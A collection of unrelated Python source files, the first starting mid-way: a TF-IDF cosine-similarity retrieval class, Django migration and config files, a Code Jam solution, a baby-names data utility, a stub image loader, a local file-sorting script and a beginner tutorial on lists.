elem in tf_values: elem = elem/num_elems total += elem * elem self.docid_magnitude[docid] = math.sqrt(total) # TFIDF Approach elif self.termWeighting == 'tfidf': # find the TF and IDF values for every document's terms, and the # total number of elements in each document by looping over all of # the terms in the entire index for term in self.index: # Calculate the IDF value for this term num_occurrences = len(self.index[term]) idf = math.log10(self.collection_size/num_occurrences) # Store idf value of term in collection for later use self.collection_idf_values[term] = idf for docid in self.index[term]: self.docid_num_elements[docid] += self.index[term][docid] self.docid_vector_elements[docid].append(self.index[term][docid] * idf) # calculate the magnitude of the document vectors based on # normalised TF elements * idf value. for (docid, vector_elems) in self.docid_vector_elements.items(): total = 0 num_elems = self.docid_num_elements[docid] for elem in vector_elems: elem = elem/num_elems total += elem * elem self.docid_magnitude[docid] = math.sqrt(total) # Binary Approach else: # find the Binary values for every document's terms, and the total # number of elements in each document by looping over all of the # terms in the entire index for term in self.index: for docid in self.index[term]: self.docid_num_elements[docid] += 1 self.docid_magnitude[docid] = math.sqrt(self.docid_num_elements[docid]) # ----------------------------------------------------------------------------- # Method performing retrieval for specified query def forQuery(self, query): # Recording cosine similarity values for each document # (key = docid, value = cosine similarity score for this query) cosine_sim_values = defaultdict(float) # Number of terms in the query (length) len_query = len(query) # looping through each document, and skipping if there are no query terms in doc, # else calculate cosine similarity and add to candidates list [docid] = cosine_sim for docid in range(1, self.collection_size + 1): # Skip documents with document vector magnitude of zero if self.docid_magnitude[docid] == 0: continue # numerator of cosine similarity equation qd_dot_product = 0 # sub-parts of numerator of cosine similarity equation query_i = 0 doc_i = 0 # sum the squares of each element as we go to eventually figure # out the vector magnitude, which will be the denominator d_vector_magnitude = self.docid_magnitude[docid] for term in query: if term in self.index.keys() and docid in self.index[term].keys(): # Term Frequency Approach if self.termWeighting == 'tf': # Used to normalised TF values from preprocessing stage # by dividing by total number of elements of docid norm_scale = 1 / self.docid_num_elements[docid] query_i = query[term]/len_query doc_i = self.index[term][docid] * norm_scale # TFIDF Approach elif self.termWeighting == 'tfidf': norm_scale = 1 / self.docid_num_elements[docid] query_i = query[term]/len_query * self.collection_idf_values[term] doc_i = self.index[term][docid] * norm_scale * self.collection_idf_values[term] # Binary Approach else: # only matters whether term appears or not (0 or 1) query_i += 1 doc_i += 1 # Calculation of Numerator qd_dot_product += query_i * doc_i # Cosine Similarity Calculation cosine_sim = qd_dot_product / d_vector_magnitude # Recording Cosine Similarity Values per docid cosine_sim_values[docid] = cosine_sim # Finished processing all the documents and obtaining scores # returns top 10 ranked results top_10 = sorted(cosine_sim_values, key = cosine_sim_values.get, reverse = True)[:10] return top_10

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# Generated by Django 3.1.2 on 2021-06-24 00:14 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('prediction', '0004_auto_20210623_0415'), ] operations = [ migrations.CreateModel( name='ModelSave', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date', models.DateField(auto_now=True)), ('model_name', models.CharField(max_length=50)), ('model_mape', models.DecimalField(decimal_places=2, max_digits=5)), ], ), ]

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0xcccccccccccc/tranhost-server

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from django.apps import AppConfig class TranConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'tran'

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s-c-vaz/GoogleCodeJam

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''' Created on 16-May-2018 @author: annervaz couldnt get better that n^3logn, large is not completing with that ''' def check_possibility(P,Q,pedal_gear_teeths,extra_gear_teeths,tire_gear_teeths): tire_gear_teeths.sort() for a_index in range(0,len(pedal_gear_teeths)): a = pedal_gear_teeths[a_index] for c_index in range(0,len(extra_gear_teeths)): c = extra_gear_teeths[c_index] rhs = a * c * Q for b_index in range(0,len(extra_gear_teeths)): if b_index == c_index: continue b = extra_gear_teeths[b_index] d_index_start = 0 d_index_end = len(tire_gear_teeths)-1 while(d_index_start<=d_index_end): d_index = int((d_index_start+d_index_end)/2) d = tire_gear_teeths[d_index] lhs = P * b * d if lhs == rhs: return 'Yes' elif lhs < rhs: d_index_start = d_index+1 elif lhs > rhs: d_index_end = d_index-1 return 'No' if __name__ == '__main__': testcases = int(input()) for testcase in range(1, testcases+1): input() print('Case #'+ str(testcase) + ':') N_p,N_e,N_t = map(lambda x: int(x),input().split(' ')) pedal_gear_teeths = list(map(lambda x: int(x),input().split(' '))) extra_gear_teeths = list(map(lambda x: int(x),input().split(' '))) tire_gear_teeths = list(map(lambda x: int(x),input().split(' '))) M = int(input()) for query in range(1,M+1): P, Q = map(lambda x: int(x),input().split(' ')) print(check_possibility(P,Q,pedal_gear_teeths,extra_gear_teeths,tire_gear_teeths))

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coderSkyChen/Action_Recognition_Zoo

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# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Utilities for parsing Kaggle baby names files.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import os import numpy as np import tensorflow as tf import pandas as pd # the default end of name rep will be zero _EON = 0 def read_names(names_path): """read data from downloaded file. See SmallNames.txt for example format or go to https://www.kaggle.com/kaggle/us-baby-names for full lists Args: names_path: path to the csv file similar to the example type Returns: Dataset: a namedtuple of two elements: deduped names and their associated counts. The names contain only 26 chars and are all lower case """ names_data = pd.read_csv(names_path) names_data.Name = names_data.Name.str.lower() name_data = names_data.groupby(by=["Name"])["Count"].sum() name_counts = np.array(name_data.tolist()) names_deduped = np.array(name_data.index.tolist()) Dataset = collections.namedtuple('Dataset', ['Name', 'Count']) return Dataset(names_deduped, name_counts) def _letter_to_number(letter): """converts letters to numbers between 1 and 27""" # ord of lower case 'a' is 97 return ord(letter) - 96 def namignizer_iterator(names, counts, batch_size, num_steps, epoch_size): """Takes a list of names and counts like those output from read_names, and makes an iterator yielding a batch_size by num_steps array of random names separated by an end of name token. The names are choosen randomly according to their counts. The batch may end mid-name Args: names: a set of lowercase names composed of 26 characters counts: a list of the frequency of those names batch_size: int num_steps: int epoch_size: number of batches to yield Yields: (x, y): a batch_size by num_steps array of ints representing letters, where x will be the input and y will be the target """ name_distribution = counts / counts.sum() for i in range(epoch_size): data = np.zeros(batch_size * num_steps + 1) samples = np.random.choice(names, size=batch_size * num_steps // 2, replace=True, p=name_distribution) data_index = 0 for sample in samples: if data_index >= batch_size * num_steps: break for letter in map(_letter_to_number, sample) + [_EON]: if data_index >= batch_size * num_steps: break data[data_index] = letter data_index += 1 x = data[:batch_size * num_steps].reshape((batch_size, num_steps)) y = data[1:batch_size * num_steps + 1].reshape((batch_size, num_steps)) yield (x, y) def name_to_batch(name, batch_size, num_steps): """ Takes a single name and fills a batch with it Args: name: lowercase composed of 26 characters batch_size: int num_steps: int Returns: x, y: a batch_size by num_steps array of ints representing letters, where x will be the input and y will be the target. The array is filled up to the length of the string, the rest is filled with zeros """ data = np.zeros(batch_size * num_steps + 1) data_index = 0 for letter in map(_letter_to_number, name) + [_EON]: data[data_index] = letter data_index += 1 x = data[:batch_size * num_steps].reshape((batch_size, num_steps)) y = data[1:batch_size * num_steps + 1].reshape((batch_size, num_steps)) return x, y

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import os import sys import re from PIL import Image import json def boxes_detect(image): pass class LicencePlateLoader(): def __init__(self, data, labels, ratio): self.data = data self.labels = labels self.ratio = ratio @staticmethod def load_image(path): pass @staticmethod def load_batch(path): pass @staticmethod def get_labels(path): pass

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import os import shutil import datetime # to find if any new file has been created in the directory def findNewFile(): arr = os.listdir('.') numberOfFiles = len(arr) informationList = [] if numberOfFiles > 0: informationList.append(1) for i in arr: informationList.append(i) return informationList # to remove the main.py and creating the final list of files for processing def filterDirectory(namesOfFiles): if namesOfFiles[0] == 1: checkingTheIndex = 0 finalList = [] for i in namesOfFiles: if checkingTheIndex != 0 and i != 'main.py': finalList.append(i) checkingTheIndex = checkingTheIndex + 1 movefiles(finalList) # to cut paste files from one to another directory def movefiles(filteredList): for i in filteredList: partitionningFile = i.partition('.') formatOfFile = partitionningFile[2] if formatOfFile == 'py': destination = '/home/shashank/shashank/practise/python/test/python/' if formatOfFile == 'txt': destination = '/home/shashank/shashank/practise/python/test/text/' source = f'/home/shashank/shashank/prg/python_automation/{i}' shutil.move(source, destination) renameFile(source, destination, i) # to rename any particular file def renameFile(source, destination, fileName): newFileName = f'{datetime.date.today()}' count = fileCount(destination, fileName) if count < 10: finalCount = f'0{count}' else: finalCount = f'{count}' newDestination = f'{destination}{newFileName}_{finalCount}_.txt' print(newDestination) os.rename(f'{destination}{fileName}', newDestination) # determine the file count for proper renaming def fileCount(destination, fileName): fileNames = os.listdir(destination) count = 0 print('length of FileNames - ', len(fileNames)) if len(fileNames) == 1: count = 1 else: for i in fileNames: arr = i.partition('_') print('arr - ', arr) middle = arr[2].partition('_') print('middle - ', middle) final = middle[0] print('final - ', final) initalCount = int(final) print(initalCount) count = max(initalCount,count) print(count, 'count') return count newList = findNewFile() filterDirectory(newList)

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Yurie-Koga/Python

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[]

no_license

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2023-01-14T12:47:30.175012

2020-10-09T00:44:54

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# List, Array # A sequence of items (elements) # 1. create a list squares = [1, 4, 9, 16, 25, 36, 49] print(squares) # 2. list operations squares += [64, 81] # add two elements at the end of the list print(squares) # 3. list methods animals = ["Tiger", "Beaver", "Eagle", "Jaguar", "Bull", "Condor", "Panda", "Koi"] animals.append("Dog") # add "Dog" at the end of the list animals.insert(0, "Cat") # insert "Cat" at 0 00_index animals.remove("Panda") # remove "Panda" from the list, returns None print(animals.pop(0)) # pop(remove) the element at 00_index 0, returns the popped element num_koi = animals.count("Koi") # count the number of "Koi" in the list print(num_koi) animals.index("Beaver") # return the 00_index if the first occurrence of "Beaver" in the list print(animals) # Indexing a list print("-------- Indexing a list --------") countries = ["Canada", "Japan", "Germany", "Brazil", "India", "Spain", "Ecuador", "South Korea", "China"] print(f"index 0: {countries[0]}") print(f"len(countries): {len(countries)}, index len(countries)-1: {countries[len(countries)-1]}") print(f"index -1: {countries[-1]}") # '-1' is common for the last element # Slicing a list (sublist) print("-------- Slicing a list --------") print(countries[0:3]) print(countries[3:]) print(countries[:2]) countries[5:8] = [] # removes elements from 5 <= < 8 countries[0:3] = ["UN"] # replaces first 3 elements to "UN" print(countries) print(["1", 2, True] * 5) # String vs List # Strings are IMMUTABLE (cannot change) # Lists are MUTABLE city = "Vancouver" # city[0] = "B" print(city) l = ["String", 10, True, 3.14, [1, 2, 3], "Hello"] for item in l: print(item) l[0] = "Nicer String" print(l) # subscript [] print(l[4][1]) print(l[5][0]) # H

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